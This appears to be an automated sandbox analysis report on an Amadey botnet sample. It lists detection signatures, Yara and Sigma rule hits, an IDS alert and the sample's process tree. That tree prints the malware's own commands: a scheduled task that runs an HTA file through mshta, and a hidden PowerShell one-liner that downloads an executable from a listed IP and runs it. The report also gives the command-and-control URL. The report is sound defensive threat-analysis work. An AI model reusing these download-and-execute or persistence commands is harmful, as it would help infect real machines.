Windows
Analysis Report
uw7A6EF76R.exe
Overview
General Information
Sample name: | uw7A6EF76R.exerenamed because original name is a hash value |
Original sample name: | c0f8159d4a5c70ae8f2c1b650c9d1eab.exe |
Analysis ID: | 1632960 |
MD5: | c0f8159d4a5c70ae8f2c1b650c9d1eab |
SHA1: | d26544e533994c05a503381ba74ef773acfd1283 |
SHA256: | 6c7bf3605f290fd134f64a70fb53d2cf9152ff7f8681758c3d525b64d6eba12d |
Tags: | exeuser-abuse_ch |
Infos: | |
Detection
Amadey
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and execute file
Suricata IDS alerts for network traffic
Yara detected Amadey
Yara detected Amadeys Clipper DLL
Yara detected Powershell download and execute
Yara detected obfuscated html page
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Contains functionality to start a terminal service
Creates HTA files
Found API chain indicative of sandbox detection
Hides threads from debuggers
Joe Sandbox ML detected suspicious sample
PE file contains section with special chars
Potentially malicious time measurement code found
Powershell drops PE file
Sample uses string decryption to hide its real strings
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: PowerShell DownloadFile
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Script Execution From Temp Folder
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to download and execute files (via powershell)
Tries to evade debugger and weak emulator (self modifying code)
Uses schtasks.exe or at.exe to add and modify task schedules
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for the Microsoft Outlook file path
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Classification
- System is w10x64
uw7A6EF76R.exe (PID: 6416 cmdline:
"C:\Users\ user\Deskt op\uw7A6EF 76R.exe" MD5: C0F8159D4A5C70AE8F2C1B650C9D1EAB) cmd.exe (PID: 6460 cmdline:
C:\Windows \system32\ cmd.exe /c schtasks /create /t n ic6iEmaQ AMm /tr "m shta C:\Us ers\user\A ppData\Loc al\Temp\OP rA2uVEu.ht a" /sc min ute /mo 25 /ru "user " /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 6492 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) schtasks.exe (PID: 6724 cmdline:
schtasks / create /tn ic6iEmaQA Mm /tr "ms hta C:\Use rs\user\Ap pData\Loca l\Temp\OPr A2uVEu.hta " /sc minu te /mo 25 /ru "user" /f MD5: 48C2FE20575769DE916F48EF0676A965) mshta.exe (PID: 6472 cmdline:
mshta C:\U sers\user\ AppData\Lo cal\Temp\O PrA2uVEu.h ta MD5: 06B02D5C097C7DB1F109749C45F3F505) powershell.exe (PID: 6892 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden $d=$env:te mp+'UMYOPK CKTL6HJCV6 MNAMLRCE00 8IXNYA.EXE ';(New-Obj ect System .Net.WebCl ient).Down loadFile(' http://176 .113.115.7 /mine/rand om.exe',$d );Start-Pr ocess $d; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) conhost.exe (PID: 6912 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) TempUMYOPKCKTL6HJCV6MNAMLRCE008IXNYA.EXE (PID: 7052 cmdline:
"C:\Users\ user\AppDa ta\Local\T empUMYOPKC KTL6HJCV6M NAMLRCE008 IXNYA.EXE" MD5: 7661F8A27DD998537639F05BE76CD241) rapes.exe (PID: 7000 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\bb556c ff4a\rapes .exe" MD5: 7661F8A27DD998537639F05BE76CD241) conhost.exe (PID: 7024 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
mshta.exe (PID: 5284 cmdline:
C:\Windows \system32\ mshta.EXE C:\Users\u ser\AppDat a\Local\Te mp\OPrA2uV Eu.hta MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) powershell.exe (PID: 512 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden $d=$env:te mp+'UMYOPK CKTL6HJCV6 MNAMLRCE00 8IXNYA.EXE ';(New-Obj ect System .Net.WebCl ient).Down loadFile(' http://176 .113.115.7 /mine/rand om.exe',$d );Start-Pr ocess $d; MD5: 04029E121A0CFA5991749937DD22A1D9) conhost.exe (PID: 2636 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) TempUMYOPKCKTL6HJCV6MNAMLRCE008IXNYA.EXE (PID: 4920 cmdline:
"C:\Users\ user\AppDa ta\Local\T empUMYOPKC KTL6HJCV6M NAMLRCE008 IXNYA.EXE" MD5: 7661F8A27DD998537639F05BE76CD241)
rapes.exe (PID: 5316 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\bb556cf f4a\rapes. exe MD5: 7661F8A27DD998537639F05BE76CD241)
svchost.exe (PID: 7472 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
rapes.exe (PID: 6992 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\bb556cf f4a\rapes. exe MD5: 7661F8A27DD998537639F05BE76CD241)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Amadey | Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. | No Attribution |
{"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Amadey_3 | Yara detected Amadey\'s Clipper DLL | Joe Security | ||
JoeSecurity_Amadey_3 | Yara detected Amadey\'s Clipper DLL | Joe Security | ||
JoeSecurity_Amadey_3 | Yara detected Amadey\'s Clipper DLL | Joe Security | ||
JoeSecurity_Amadey_3 | Yara detected Amadey\'s Clipper DLL | Joe Security | ||
JoeSecurity_Amadey_3 | Yara detected Amadey\'s Clipper DLL | Joe Security | ||
Click to see the 10 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Michael Haag: |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: vburov: |
Data Obfuscation |
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Source: | Author: Joe Security: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-03-09T13:46:06.094708+0100 | 2856147 | 1 | A Network Trojan was detected | 192.168.2.9 | 49696 | 176.113.115.6 | 80 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | Virustotal: | Perma Link | ||
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Phishing |
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Source: | File source: |
Source: | Static PE information: |
Source: | Binary string: | ||
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Source: | Binary string: |
Source: | Code function: | 0_2_00B0DBBE | |
Source: | Code function: | 0_2_00ADC2A2 | |
Source: | Code function: | 0_2_00B168EE | |
Source: | Code function: | 0_2_00B1698F | |
Source: | Code function: | 0_2_00B0D076 | |
Source: | Code function: | 0_2_00B0D3A9 | |
Source: | Code function: | 0_2_00B19B2B |
Networking |
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Source: | Suricata IDS: |
Source: | IPs: |
Source: | HTTP traffic detected: |